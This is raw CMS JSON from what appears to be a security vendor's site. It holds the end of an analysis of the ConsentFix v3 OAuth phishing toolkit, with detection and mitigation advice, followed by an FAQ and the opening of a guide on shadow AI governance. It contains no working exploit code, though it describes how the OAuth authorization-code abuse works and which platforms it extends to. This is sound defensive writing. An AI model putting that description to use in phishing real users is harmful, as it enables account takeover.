(",{"data":14083,"content":14085,"nodeType":795},{"uri":14084},"https:\u002F\u002Fdatatracker.ietf.org\u002Fdoc\u002Fhtml\u002Frfc8628",[14086],{"data":14087,"marks":14088,"value":14090,"nodeType":503},{},[14089],{"type":803},"RFC 8628",{"data":14092,"marks":14093,"value":14094,"nodeType":503},{},[],"). ConsentFix exploits the authorization code grant (",{"data":14096,"content":14098,"nodeType":795},{"uri":14097},"https:\u002F\u002Fdatatracker.ietf.org\u002Fdoc\u002Fhtml\u002Frfc6749#section-4.1",[14099],{"data":14100,"marks":14101,"value":14103,"nodeType":503},{},[14102],{"type":803},"RFC 6749",{"data":14105,"marks":14106,"value":14107,"nodeType":503},{},[],") as implemented for native\u002Fdesktop apps with localhost redirects. ",{"data":14109,"content":14110,"nodeType":670},{},[14111],{"data":14112,"marks":14113,"value":14114,"nodeType":503},{},[],"The post-compromise paths are essentially identical because the tokens you get are determined by which app you target, what scopes it has, and the victim user’s permissions, not by which OAuth flow you used to obtain them. The authorization code flow and the device code flow are just different front doors into the same token issuance system.",{"data":14116,"content":14120,"nodeType":714},{"target":14117},{"sys":14118},{"id":14119,"type":719,"linkType":720},"7np3j139dWMP7sLlUQwEFC",[],{"data":14122,"content":14123,"nodeType":730},{},[],{"data":14125,"content":14126,"nodeType":660},{},[14127],{"data":14128,"marks":14129,"value":14131,"nodeType":503},{},[14130],{"type":667},"The verdict: An interesting sign of what’s coming, but maybe not the final form",{"data":14133,"content":14134,"nodeType":670},{},[14135],{"data":14136,"marks":14137,"value":14138,"nodeType":503},{},[],"It’s clear that ConsentFix v3 isn’t exactly an industrialized PhaaS-scale offering. It’s probably closer to a red team-esque proof of concept. But it is a good example of how attackers could operationalize ConsentFix campaigns using largely off-the-shelf tooling and legit SaaS tools. And an indicator of what might be coming soon. ",{"data":14140,"content":14141,"nodeType":730},{},[],{"data":14143,"content":14144,"nodeType":660},{},[14145],{"data":14146,"marks":14147,"value":13574,"nodeType":503},{},[14148],{"type":667},{"data":14150,"content":14151,"nodeType":670},{},[14152],{"data":14153,"marks":14154,"value":14155,"nodeType":503},{},[],"To be able to tackle modern attacks like ConsentFix that occur entirely within the browser context, it is vital that organizations look to monitor the browser as a detection surface, hunt for signs of malicious activity, and block attacks in real-time — in the same way that you would expect EDR to work for endpoint attacks. We’ll talk about how we do this below, but first here’s some general recommendations. ",{"data":14157,"content":14158,"nodeType":734},{},[14159],{"data":14160,"marks":14161,"value":14163,"nodeType":503},{},[14162],{"type":667},"Microsoft ecosystem",{"data":14165,"content":14166,"nodeType":670},{},[14167,14171,14179],{"data":14168,"marks":14169,"value":14170,"nodeType":503},{},[],"Despite the similarity with device code phishing, the ",{"data":14172,"content":14173,"nodeType":795},{"uri":13598},[14174],{"data":14175,"marks":14176,"value":14178,"nodeType":503},{},[14177],{"type":803},"primary recommendation from Microsoft for device code attacks",{"data":14180,"marks":14181,"value":14182,"nodeType":503},{},[]," — disable the device code flow via conditional access — doesn’t apply to ConsentFix (because, as mentioned, it uses a different login flow).",{"data":14184,"content":14185,"nodeType":670},{},[14186,14190,14199],{"data":14187,"marks":14188,"value":14189,"nodeType":503},{},[],"For both ConsentFix and device code phishing, the ",{"data":14191,"content":14193,"nodeType":795},{"uri":14192},"https:\u002F\u002Fmsendpointmgr.com\u002F2026\u002F01\u002F08\u002Fconsentfix-quickfix\u002F",[14194],{"data":14195,"marks":14196,"value":14198,"nodeType":503},{},[14197],{"type":803},"strongest recommendation",{"data":14200,"marks":14201,"value":14202,"nodeType":503},{},[]," is to create Service Principals for each of the vulnerable apps and restrict the users that are authorized to access them to reduce the attack surface of users that can be phished with this method.",{"data":14204,"content":14205,"nodeType":670},{},[14206],{"data":14207,"marks":14208,"value":14209,"nodeType":503},{},[],"You should also hunt in logs for relevant application IDs and resource IDs, and look for mismatches in terms of the initial access IP and subsequent activity, because while the initial login is performed by the user, subsequent actions will be performed by the attacker.  ",{"data":14211,"content":14215,"nodeType":714},{"target":14212},{"sys":14213},{"id":14214,"type":719,"linkType":720},"49Y7NXpnAeAYe9fCp1oyKn",[],{"data":14217,"content":14218,"nodeType":734},{},[14219],{"data":14220,"marks":14221,"value":14223,"nodeType":503},{},[14222],{"type":667},"Beyond Microsoft — Google, GitHub, Salesforce, AWS",{"data":14225,"content":14226,"nodeType":670},{},[14227],{"data":14228,"marks":14229,"value":14230,"nodeType":503},{},[],"It’s worth calling out that these recommendations are Microsoft specific. While in-the-wild exploitation has focused on Microsoft, GitHub, Salesforce, AWS and others are also impacted by device code phishing, supporting device code flow either as a primary or fallback mechanism (Google less so due to inherent restrictions on scopes authorized in the context of device code logins). ",{"data":14232,"content":14233,"nodeType":670},{},[14234],{"data":14235,"marks":14236,"value":14237,"nodeType":503},{},[],"Similarly, ConsentFix principles can be applied beyond Microsoft too. The core requirement is that an OAuth code ends up in a location the victim can manually see and share, e.g. a localhost redirect where no listener is present to complete the handshake. Google Cloud CLI, GitHub CLI, and others support the auth code grant and allow localhost as a redirect URI. ",{"data":14239,"content":14240,"nodeType":730},{},[],{"data":14242,"content":14243,"nodeType":660},{},[14244],{"data":14245,"marks":14246,"value":1570,"nodeType":503},{},[14247],{"type":667},{"data":14249,"content":14250,"nodeType":670},{},[14251],{"data":14252,"marks":14253,"value":14254,"nodeType":503},{},[],"We’re already detecting and blocking both ConsentFix and device code phishing attacks as they target users in their web browser. When a page matches our detections for a device code or ConsentFix phishing kit (not limited to things like known-bad IPs and domains, but DOM-level analysis of the web page) Push detects and blocks it. Unlike an SWG or RBI type solution, Push analyzes every web page in every browser session and tab, in real time, with no latency. ",{"data":14256,"content":14260,"nodeType":714},{"target":14257},{"sys":14258},{"id":14259,"type":719,"linkType":720},"63EwHbmFZVAlhoXl17Xjfi",[],{"data":14262,"content":14263,"nodeType":670},{},[14264,14267,14274],{"data":14265,"marks":14266,"value":13680,"nodeType":503},{},[],{"data":14268,"content":14269,"nodeType":795},{"uri":13683},[14270],{"data":14271,"marks":14272,"value":13689,"nodeType":503},{},[14273],{"type":803},{"data":14275,"marks":14276,"value":14277,"nodeType":503},{},[]," whenever a user accesses a URL used for device code logins, across any app that supports them. This provides universal, last-mile protection against even ‘zero-day’ device code phishing attacks using previously unidentified toolkits.  ",{"data":14279,"content":14283,"nodeType":714},{"target":14280},{"sys":14281},{"id":14282,"type":719,"linkType":720},"3baS2yqvJd2e4aczw73PTF",[],{"data":14285,"content":14286,"nodeType":670},{},[14287],{"data":14288,"marks":14289,"value":14290,"nodeType":503},{},[],"When a user visits those URLs, Push will also emit a webhook event that the banner was shown and acknowledged. If a user opts to proceed, you can treat this as a high-fidelity alert for your security team to investigate, providing app-agnostic telemetry that may not already be provided in your logs from that particular vendor. You can also simply use Push to block users from accessing these pages if you’re confident that disruption won’t be caused. ",{"data":14292,"content":14293,"nodeType":734},{},[14294],{"data":14295,"marks":14296,"value":13714,"nodeType":503},{},[14297],{"type":667},{"data":14299,"content":14300,"nodeType":670},{},[14301],{"data":14302,"marks":14303,"value":14304,"nodeType":503},{},[],"Push Security's browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, device code phishing, ClickFix, and session hijacking. You don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your attack surface.",{"data":14306,"content":14307,"nodeType":670},{},[14308,14311,14318,14321,14328,14331,14338],{"data":14309,"marks":14310,"value":13728,"nodeType":503},{},[],{"data":14312,"content":14313,"nodeType":795},{"uri":13731},[14314],{"data":14315,"marks":14316,"value":13737,"nodeType":503},{},[14317],{"type":803},{"data":14319,"marks":14320,"value":3571,"nodeType":503},{},[],{"data":14322,"content":14323,"nodeType":795},{"uri":13743},[14324],{"data":14325,"marks":14326,"value":13749,"nodeType":503},{},[14327],{"type":803},{"data":14329,"marks":14330,"value":13753,"nodeType":503},{},[],{"data":14332,"content":14333,"nodeType":795},{"uri":2986},[14334],{"data":14335,"marks":14336,"value":2989,"nodeType":503},{},[14337],{"type":803},{"data":14339,"marks":14340,"value":2577,"nodeType":503},{},[],"ConsentFix v3: Analyzing a new criminal toolkit","Investigating a new criminal toolkit for ConsentFix being promoted on criminal forums. ","2026-04-23T00:00:00.000Z","consentfix-v3-analyzing-a-new-toolkit",{"items":14346},[14347,14349],{"sys":14348,"name":3005},{"id":3004},{"sys":14350,"name":3009},{"id":3008},{"items":14352},[14353],{"fullName":647,"firstName":648,"jobTitle":649,"profilePicture":14354},{"url":653},"blog\u002Fauthorization-phishing",{"json":14357},{"data":14358,"content":14359,"nodeType":656},{},[14360],{"data":14361,"content":14362,"nodeType":670},{},[14363],{"data":14364,"marks":14365,"value":14366,"nodeType":503},{},[],"Why attackers are pivoting to authorization-layer attacks to get around authentication controls that are resistant to traditional phishing and account takeover techniques. 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","Shadow AI guide IB3",{"sys":15222,"__typename":1926,"title":15223,"caption":15223,"layoutMode":60,"file":15224},{"id":8198},"Push automatically discovers and inventories AI apps from browser login events.",{"url":15225,"width":15226,"height":15227},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F5krEecjMxIJgVCa74A79xa\u002F3bb94ca3b496e9486f94526d708e34d5\u002Fimage8.png",1469,850,{"sys":15229,"__typename":1926,"title":15230,"caption":15230,"layoutMode":60,"file":15231},{"id":8243},"Push discovers AI browser extensions used by your users, across every browser.",{"url":15232,"width":15233,"height":15234},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F14lMFifCBB9RwQpt101tNd\u002Fdabe2713e58e787175701ec0d35076ca\u002Fimage2.png",1470,851,{"sys":15236,"__typename":1926,"title":15237,"caption":15237,"layoutMode":60,"file":15238},{"id":8302},"Push's four-step path to secure AI adoption",{"url":15239,"width":1930,"height":15240},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002FE1wuJW4EzmjeLTpnHHM9f\u002F895569f4b215b1b7b82e697c40462cbc\u002Fimage3.png",1013,{"sys":15242,"__typename":1926,"title":15243,"caption":15243,"layoutMode":60,"file":15244},{"id":8388},"Push in-browser warning screen guiding the user toward the preferred AI app",{"url":15245,"width":15246,"height":15247},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F3ouLBkKhiEcBmY8V2XAaUz\u002F71a3cb221adba7d2744ff8b02bab3891\u002Fimage4.png",1435,738,{"sys":15249,"__typename":1934,"content":15250,"name":15274,"title":60},{"id":8401},{"json":15251},{"data":15252,"content":15253,"nodeType":656},{},[15254],{"data":15255,"content":15256,"nodeType":670},{},[15257,15261,15270],{"data":15258,"marks":15259,"value":15260,"nodeType":503},{},[],"“A published policy is not the same thing as people actually doing that,” explains Push customer Stephen Shkardoon, cybersecurity manager at Te Herenga Waka — Victoria University of Wellington in New Zealand, on one of the drivers for their ",{"data":15262,"content":15264,"nodeType":795},{"uri":15263},"https:\u002F\u002Fpushsecurity.com\u002Fcustomer-stories\u002Fte-herenga-waka-victoria-university-of-wellington",[15265],{"data":15266,"marks":15267,"value":15269,"nodeType":503},{},[15268],{"type":803},"selection of Push Security",{"data":15271,"marks":15272,"value":15273,"nodeType":503},{},[]," to get control of AI usage at their organization.","Shadow AI guide IB1",{"sys":15276,"__typename":1926,"title":15277,"caption":15278,"layoutMode":60,"file":15279},{"id":8426},"Rules for AI app controls can be configured on a variety of conditions, including user groups, app attributes, and what mode of enforcement you wish to use.","Rules for AI app controls can be configured on a variety of conditions, including user groups, app attributes, and the mode of enforcement.",{"url":15280,"width":15281,"height":15282},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F7czh28QGwm0ZStUmeWXBaq\u002F667ee2441911fa4006a2ec75ebf727ea\u002Fimage6.png",692,830,{"sys":15284,"__typename":1934,"content":15285,"name":15296,"title":60},{"id":8432},{"json":15286},{"data":15287,"content":15288,"nodeType":656},{},[15289],{"data":15290,"content":15291,"nodeType":670},{},[15292],{"data":15293,"marks":15294,"value":15295,"nodeType":503},{},[],"Push customers love the flexibility of this control compared to an SWG or CASB, which often rely on binary enforcement at the domain level only. ","Shadow AI guide IB2",{"sys":15298,"__typename":1926,"title":15299,"caption":15299,"layoutMode":60,"file":15300},{"id":8524},"Push blocks clipboard copy events that violate your policy.",{"url":15301,"width":1930,"height":15302},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002FjjUt4bChHcCWQJXqNzyQ8\u002Fc16974d72ef2bbc65689bf46bcb59e6f\u002Fimage5.png",1295,{"sys":15304,"__typename":1926,"title":15305,"caption":15305,"layoutMode":60,"file":15306},{"id":8597},"Push can block unapproved MCP connection requests in real time.",{"url":15307,"width":1930,"height":15308},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002FwTAwk90bIA1B3XSkRf4M4\u002Fe4d3630af83501e6b4b05217fdf2e600\u002Fimage1.png",1203,{"sys":15310,"__typename":1926,"title":15311,"caption":15312,"layoutMode":60,"file":15313},{"id":8615},"Account condition enforcement banner - blog - shadow AI","Block personal account access to AI apps using Push's Account condition enforcement control.",{"url":15314,"width":1930,"height":15302},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F66rjS4c3oMR3HXBDSzOa0K\u002Fe025d98771bb8e86e76fd59bc0c8b59c\u002Faccount_condition_enforcement_banner.png",{"sys":15316,"__typename":1926,"title":15317,"caption":15317,"layoutMode":60,"file":15318},{"id":8652},"Push gives you prompt and response visibility and logging across all approved AI apps.",{"url":15319,"width":15320,"height":15321},"https:\u002F\u002Fimages.ctfassets.net\u002Fy1cdw1ablpvd\u002F7o35qBXBYUNBlQdd9xPeKG\u002Fec7b4cb88810e8dab4a20b7288fea17e\u002FPrompt_Visibility__1_.png",2636,1730,{"items":15323},[15324,15337,15350,15370,15390,15410,15430,15450,15470,15490],{"answer":15325,"question":15336},{"json":15326},{"nodeType":656,"data":15327,"content":15328},{},[15329],{"nodeType":670,"data":15330,"content":15331},{},[15332],{"nodeType":503,"value":15333,"marks":15334,"data":15335},"Network monitoring tools see domain-level traffic but can't tell you what's actually happening inside an AI session — whether an employee is browsing a tool's marketing page or pasting source code into a prompt. IdP logs capture OAuth grants routed through the identity provider but miss AI tools accessed via direct signup or personal accounts. Browser-based security tools like Push Security monitor AI activity where it actually happens: inside the browser session. Push captures login events, clipboard pastes, file uploads, extension installations, and OAuth grants, providing structured telemetry on what data is moving into which AI tools, through which accounts, and whether those accounts are corporate or personal.",[],{},"How do you monitor what employees are doing with AI tools?",{"answer":15338,"question":15349},{"json":15339},{"nodeType":656,"data":15340,"content":15341},{},[15342],{"nodeType":670,"data":15343,"content":15344},{},[15345],{"nodeType":503,"value":15346,"marks":15347,"data":15348},"Binary allow\u002Fblock decisions — whether enforced through a SWG, CASB, or enterprise browser — treat every AI interaction as equivalent, which pushes employees toward tools you can't see at all. Graduated enforcement offers a middle path. Push Security lets teams start with monitoring to build an accurate picture of AI usage, then introduce in-browser prompts that explain why a tool hasn't been approved and direct employees toward sanctioned alternatives, before applying hard blocks only where the data sensitivity or tool risk justifies it. Controls are configurable per user group, and new AI tools automatically inherit governance rules through automatic categorization — so enforcement keeps pace with the landscape without manual blocklist updates.",[],{},"How do you restrict AI usage without blocking everything?",{"answer":15351,"question":15369},{"json":15352},{"nodeType":656,"data":15353,"content":15354},{},[15355,15362],{"nodeType":670,"data":15356,"content":15357},{},[15358],{"nodeType":503,"value":15359,"marks":15360,"data":15361},"Network monitoring tools, IdP logs, and endpoint agents each catch a slice of shadow AI but miss entire categories. SWGs see domain traffic but can't confirm whether someone authenticated or what they did after login. IdPs capture OAuth grants routed through the identity provider but miss AI tools accessed via direct signup or personal accounts. EDR is blind to browser-layer activity entirely. ",[],{},{"nodeType":670,"data":15363,"content":15364},{},[15365],{"nodeType":503,"value":15366,"marks":15367,"data":15368},"Browser-based security tools like Push Security identify AI tools from actual login events, catching the four categories other tools miss: unapproved AI apps, personal accounts on approved tools, AI browser extensions with broad permissions, and OAuth integrations granting persistent API access to corporate systems. Each discovered app is automatically categorized and enriched with authentication context — SSO vs. password, MFA status, corporate vs. personal account — so security teams can assess actual risk rather than treating every AI tool as equivalent.",[],{},"How do you discover what AI tools employees are using?",{"answer":15371,"question":15389},{"json":15372},{"nodeType":656,"data":15373,"content":15374},{},[15375,15382],{"nodeType":670,"data":15376,"content":15377},{},[15378],{"nodeType":503,"value":15379,"marks":15380,"data":15381},"This is a gap that traditional DLP architectures weren't designed for. Network DLP and SWGs can't intercept clipboard pastes into AI prompts because there's no network event to inspect — the data moves from the clipboard to the browser DOM without crossing the wire. Endpoint DLP sees file-system operations but not in-browser activity. Browser-based controls operate where the paste actually happens. ",[],{},{"nodeType":670,"data":15383,"content":15384},{},[15385],{"nodeType":503,"value":15386,"marks":15387,"data":15388},"Push Security matches clipboard content against patterns for credentials, API keys, credit card numbers, and custom content rules, then offers the employee a redacted version so they can continue working without exposing the actual sensitive data. The same approach extends to file uploads and downloads, covering the exfiltration paths that network and endpoint DLP leave open.",[],{},"How do you prevent sensitive data from being pasted into AI tools?",{"answer":15391,"question":15409},{"json":15392},{"nodeType":656,"data":15393,"content":15394},{},[15395,15402],{"nodeType":670,"data":15396,"content":15397},{},[15398],{"nodeType":503,"value":15399,"marks":15400,"data":15401},"Policy documents distributed during onboarding don't change behavior at the moment someone reaches for an unapproved AI tool. SWGs can block a domain, but they can't explain why or point to an approved alternative — the employee sees an error page. ",[],{},{"nodeType":670,"data":15403,"content":15404},{},[15405],{"nodeType":503,"value":15406,"marks":15407,"data":15408},"Enterprise browsers like Push Security can deliver policy enforcement at the point of decision: when an employee navigates to an unsanctioned AI tool, an in-browser message explains why the tool hasn't been approved and directs them to approved alternatives. Controls are configurable per user group — and new AI tools automatically inherit governance rules through automatic categorization, without manual blocklist updates.",[],{},"How do you enforce an AI acceptable use policy in real time?",{"answer":15411,"question":15429},{"json":15412},{"nodeType":656,"data":15413,"content":15414},{},[15415,15422],{"nodeType":670,"data":15416,"content":15417},{},[15418],{"nodeType":503,"value":15419,"marks":15420,"data":15421},"No single traditional tool covers all aspects of shadow AI (apps, tenants, integrations, extensions) and the user interaction with those categories of tool. SWGs and CASBs see domain-level traffic but can't identify personal account usage, extension activity, or clipboard pastes into AI prompts. IdPs capture federated logins but miss direct signups and personal accounts entirely. EDR doesn't see browser-layer activity. DSPM monitors data at rest in cloud storage but not data in motion through browser sessions. ",[],{},{"nodeType":670,"data":15423,"content":15424},{},[15425],{"nodeType":503,"value":15426,"marks":15427,"data":15428},"Most organizations will need browser-layer visibility alongside their existing stack — not as a replacement, but to close the gaps those tools weren't designed to address. Tools like Push Security operate at the layer where AI activity actually happens, covering all shadow AI categories with graduated enforcement (monitor, warn, block), per-user-group policies, and telemetry on authentication methods, clipboard events, file uploads, and OAuth grants. ",[],{},"What tools do you need to manage shadow AI?",{"answer":15431,"question":15449},{"json":15432},{"nodeType":656,"data":15433,"content":15434},{},[15435,15442],{"nodeType":670,"data":15436,"content":15437},{},[15438],{"nodeType":503,"value":15439,"marks":15440,"data":15441},"AI browser extensions are a blind spot for most security stacks. Endpoint management tools may detect that an extension is installed but typically can't evaluate what permissions it has requested or whether those permissions create data exfiltration risk. SWGs and CASBs don't see extension activity at all — extensions operate within the browser, not over the network. ",[],{},{"nodeType":670,"data":15443,"content":15444},{},[15445],{"nodeType":503,"value":15446,"marks":15447,"data":15448},"Push Security inventories every AI-related extension installed across the workforce, surfaces the specific permissions each extension has requested (access to page content, browsing history, clipboard data), and identifies permission combinations that could enable account takeover or data exfiltration. Security teams can then apply monitor, warn, or block enforcement to extension categories — and new extensions automatically inherit governance rules without maintaining manual allowlists that go stale as new AI extensions appear daily.",[],{},"How do I stop employees installing AI browser extensions?",{"answer":15451,"question":15469},{"json":15452},{"nodeType":656,"data":15453,"content":15454},{},[15455,15462],{"nodeType":670,"data":15456,"content":15457},{},[15458],{"nodeType":503,"value":15459,"marks":15460,"data":15461},"Point-in-time audits — whether run through an IdP, a CASB, or manual surveys — tell you what was true when you ran them. AI tool adoption changes weekly; Gartner projects 150,000 AI agents per Fortune 500 enterprise by 2028. SWGs can log new domains but can't classify them or apply governance rules automatically. ",[],{},{"nodeType":670,"data":15463,"content":15464},{},[15465],{"nodeType":503,"value":15466,"marks":15467,"data":15468},"Push Security discovers new AI tools as employees start using them: when someone logs in to a new AI app, Push identifies it from the login event, automatically categorizes it, and applies the organization's existing governance rules without manual intervention. All AI-related telemetry — app access, file uploads, clipboard events, extension activity — streams as structured data to the customer's SIEM, providing the material for governance dashboards and compliance reporting that stays current as the landscape shifts.",[],{},"How do you get visibility into AI tool sprawl?",{"answer":15471,"question":15489},{"json":15472},{"nodeType":656,"data":15473,"content":15474},{},[15475,15482],{"nodeType":670,"data":15476,"content":15477},{},[15478],{"nodeType":503,"value":15479,"marks":15480,"data":15481},"AI visibility means knowing which AI tools employees are using, how they're accessing them, and what data flows into those tools. AI control is the ability to enforce rules on that usage — blocking unapproved tools, restricting data flows, requiring approved accounts. AI governance is the broader program that encompasses both: defining acceptable use policies, establishing risk frameworks for evaluating new tools, and building the organizational processes that turn visibility and control into sustained security outcomes. ",[],{},{"nodeType":670,"data":15483,"content":15484},{},[15485],{"nodeType":503,"value":15486,"marks":15487,"data":15488},"Most organizations that struggle with AI governance have a visibility problem first — they're trying to write policies for tools they don't know their employees are using. But visibility without control is just watching the problem happen. Push Security provides both: discovery and monitoring across all four categories of shadow AI, plus graduated enforcement controls that let you apply different responses based on the risk profile of each tool, account, and data flow, at the point of interaction in the browser for real-time enforcement.",[],{},"What is the difference between AI governance, AI visibility, and AI control?",{"answer":15491,"question":15509},{"json":15492},{"nodeType":656,"data":15493,"content":15494},{},[15495,15502],{"nodeType":670,"data":15496,"content":15497},{},[15498],{"nodeType":503,"value":15499,"marks":15500,"data":15501},"Data Security Posture Management (DSPM) tools monitor data at rest in cloud storage and SaaS applications, identifying misconfigurations, overly permissive access, and sensitive data exposure. They don't monitor data in motion through browser sessions — which is the primary path for shadow AI risk. ",[],{},{"nodeType":670,"data":15503,"content":15504},{},[15505],{"nodeType":503,"value":15506,"marks":15507,"data":15508},"When an employee pastes source code into an AI prompt or uploads a customer spreadsheet to an unapproved AI tool, that data movement happens entirely inside the browser and never touches the cloud storage layer that DSPM tools monitor. DSPM and browser security are complementary: DSPM secures data where it is stored, while browser-layer tools like Push Security secure data where it moves.",[],{},"Does Data Security Posture Management (DSPM) prevent shadow AI?","Shadow AI discovery and governance: Frequently asked questions",{},"How to discover AI, enforce policies, and prevent data loss","guide",{"items":15515},[15516,16192,17072],{"__typename":2126,"sys":15517,"content":15519,"title":16175,"synopsis":16176,"hashTags":60,"publishedDate":16177,"slug":16178,"tagsCollection":16179,"authorsCollection":16188},{"id":15518},"4NY2NbkAPucFOJY45yrrrE",{"json":15520},{"data":15521,"content":15522,"nodeType":656},{},[15523,15530,15537,15544,15550,15553,15561,15568,15601,15608,15633,15639,15642,15650,15657,15665,15707,15713,15720,15725,15728,15736,15743,15751,15758,15765,15781,15789,15814,15821,15827,15834,15842,15857,15884,15890,15908,15914,15922,15929,15954,15961,15968,15975,15981,15984,15992,15999,16006,16025,16033,16040,16048,16071,16083,16089,16092,16100,16107,16114,16121,16141,16144,16150,16156],{"data":15524,"content":15525,"nodeType":670},{},[15526],{"data":15527,"marks":15528,"value":15529,"nodeType":503},{},[],"Employees have been self-adopting apps, creating unmanaged accounts, and introducing third-party software dependencies into their organizations for years, and the core problem hasn't changed: unmanaged software expanding your attack surface without your knowledge.",{"data":15531,"content":15532,"nodeType":670},{},[15533],{"data":15534,"marks":15535,"value":15536,"nodeType":503},{},[],"But the rate at which employees are signing up for AI tools is unprecedented, and the depth of interconnectivity those tools demand is fundamentally different from traditional shadow SaaS. ",{"data":15538,"content":15539,"nodeType":670},{},[15540],{"data":15541,"marks":15542,"value":15543,"nodeType":503},{},[],"AI tools aren't just standalone apps that employees sign into — they're increasingly used as agents that drive other applications, pulling data from one platform, acting on another — they are becoming a core that other apps are integrating to, and that users are integrating with their wider SaaS stack. It’s becoming a focal integration point for app access and functionality in a way that's more comparable to an enterprise cloud platform than a typical SaaS tool. ",{"data":15545,"content":15549,"nodeType":714},{"target":15546},{"sys":15547},{"id":15548,"type":719,"linkType":720},"2Vxb48M5JN9Jdy8BG6nbUJ",[],{"data":15551,"content":15552,"nodeType":730},{},[],{"data":15554,"content":15555,"nodeType":660},{},[15556],{"data":15557,"marks":15558,"value":15560,"nodeType":503},{},[15559],{"type":667},"What is shadow AI? A quick 101",{"data":15562,"content":15563,"nodeType":670},{},[15564],{"data":15565,"marks":15566,"value":15567,"nodeType":503},{},[],"Shadow AI is any use of AI tools, services, or integrations that happens outside an organization's security governance and visibility. Shadow AI risks cut in two directions:",{"data":15569,"content":15570,"nodeType":781},{},[15571,15586],{"data":15572,"content":15573,"nodeType":785},{},[15574],{"data":15575,"content":15576,"nodeType":670},{},[15577,15582],{"data":15578,"marks":15579,"value":15581,"nodeType":503},{},[15580],{"type":667},"Data exposure:",{"data":15583,"marks":15584,"value":15585,"nodeType":503},{},[]," source code, credentials, internal documents, and customer data routinely get pasted into AI prompts or uploaded as context, and once shared, that data is outside the organization's control. ",{"data":15587,"content":15588,"nodeType":785},{},[15589],{"data":15590,"content":15591,"nodeType":670},{},[15592,15597],{"data":15593,"marks":15594,"value":15596,"nodeType":503},{},[15595],{"type":667},"Attack surface:",{"data":15598,"marks":15599,"value":15600,"nodeType":503},{},[]," Every shadow AI app is an unmanaged identity with credentials that can be phished or stuffed, OAuth grants that give persistent API access to corporate systems, and browser extensions that can be compromised in supply chain attacks. ",{"data":15602,"content":15603,"nodeType":670},{},[15604],{"data":15605,"marks":15606,"value":15607,"nodeType":503},{},[],"AI tools increasingly function as hubs, connected via OAuth and MCP to email, cloud storage, code repositories, and other high-value systems. Every app connection an employee grants turns that AI tool into a node in a web of interconnected services, which means the more you hook in, the larger the attack surface across all the connected apps — and the greater the blast radius if the account used to access the AI tool is compromised.",{"data":15609,"content":15610,"nodeType":670},{},[15611,15615,15621,15624,15630],{"data":15612,"marks":15613,"value":15614,"nodeType":503},{},[],"Each integration creates a persistent trust relationship that survives password resets and MFA changes. Compromise a single AI app and an attacker inherits whatever access the employee granted it, turning one ungoverned tool into a pivot point across the SaaS estate. Attackers are already exploiting this interconnectivity — from ",{"data":15616,"content":15617,"nodeType":795},{"uri":6016},[15618],{"data":15619,"marks":15620,"value":15204,"nodeType":503},{},[],{"data":15622,"marks":15623,"value":15208,"nodeType":503},{},[],{"data":15625,"content":15626,"nodeType":795},{"uri":2204},[15627],{"data":15628,"marks":15629,"value":15215,"nodeType":503},{},[],{"data":15631,"marks":15632,"value":15219,"nodeType":503},{},[],{"data":15634,"content":15638,"nodeType":714},{"target":15635},{"sys":15636},{"id":15637,"type":719,"linkType":720},"1BWCa7AHCMlYw7XgPLx3h7",[],{"data":15640,"content":15641,"nodeType":730},{},[],{"data":15643,"content":15644,"nodeType":660},{},[15645],{"data":15646,"marks":15647,"value":15649,"nodeType":503},{},[15648],{"type":667},"The state of shadow AI, using Push data",{"data":15651,"content":15652,"nodeType":670},{},[15653],{"data":15654,"marks":15655,"value":15656,"nodeType":503},{},[],"We analyzed a snapshot of AI activity across Push customers during an average week in April 2026. We wanted to make sure it captured actual activity, not just historical data on apps that were added once and no longer used.",{"data":15658,"content":15659,"nodeType":670},{},[15660],{"data":15661,"marks":15662,"value":15664,"nodeType":503},{},[15663],{"type":667},"The numbers paint a picture that most security teams will find uncomfortable.",{"data":15666,"content":15667,"nodeType":670},{},[15668,15672,15677,15681,15686,15689,15694,15698,15703],{"data":15669,"marks":15670,"value":15671,"nodeType":503},{},[],"The average organization has ",{"data":15673,"marks":15674,"value":15676,"nodeType":503},{},[15675],{"type":667},"16 unique AI apps",{"data":15678,"marks":15679,"value":15680,"nodeType":503},{},[]," in active use, ",{"data":15682,"marks":15683,"value":15685,"nodeType":503},{},[15684],{"type":667},"17 unique AI browser extensions",{"data":15687,"marks":15688,"value":11067,"nodeType":503},{},[],{"data":15690,"marks":15691,"value":15693,"nodeType":503},{},[15692],{"type":667},"17 unique AI OAuth integrations",{"data":15695,"marks":15696,"value":15697,"nodeType":503},{},[]," connected into just Google Workspace and Microsoft 365 — with some organizations reaching as high as 40 unique AI apps, 163 AI extensions, and 55 OAuth connections to AI apps respectively. At the other end, the smallest organization with the ",{"data":15699,"marks":15700,"value":15702,"nodeType":503},{},[15701],{"type":2144},"lowest",{"data":15704,"marks":15705,"value":15706,"nodeType":503},{},[]," adoption level is actively using two. ",{"data":15708,"content":15712,"nodeType":714},{"target":15709},{"sys":15710},{"id":15711,"type":719,"linkType":720},"2AfeiHub5kyZN8wuf6CJch",[],{"data":15714,"content":15715,"nodeType":670},{},[15716],{"data":15717,"marks":15718,"value":15719,"nodeType":503},{},[],"If most organizations have sanctioned one or two core AI assistants\u002Fplatforms for business use, the gap between what's approved and what's actually happening is significant.",{"data":15721,"content":15724,"nodeType":714},{"target":15722},{"sys":15723},{"id":8052,"type":719,"linkType":720},[],{"data":15726,"content":15727,"nodeType":730},{},[],{"data":15729,"content":15730,"nodeType":660},{},[15731],{"data":15732,"marks":15733,"value":15735,"nodeType":503},{},[15734],{"type":667},"Understanding the four categories of shadow AI",{"data":15737,"content":15738,"nodeType":670},{},[15739],{"data":15740,"marks":15741,"value":15742,"nodeType":503},{},[],"Shadow SaaS has always been a problem, but in the context of AI apps there are four categories of shadow IT that security teams need to understand, because each one introduces a different kind of risk and requires a different approach to tackling 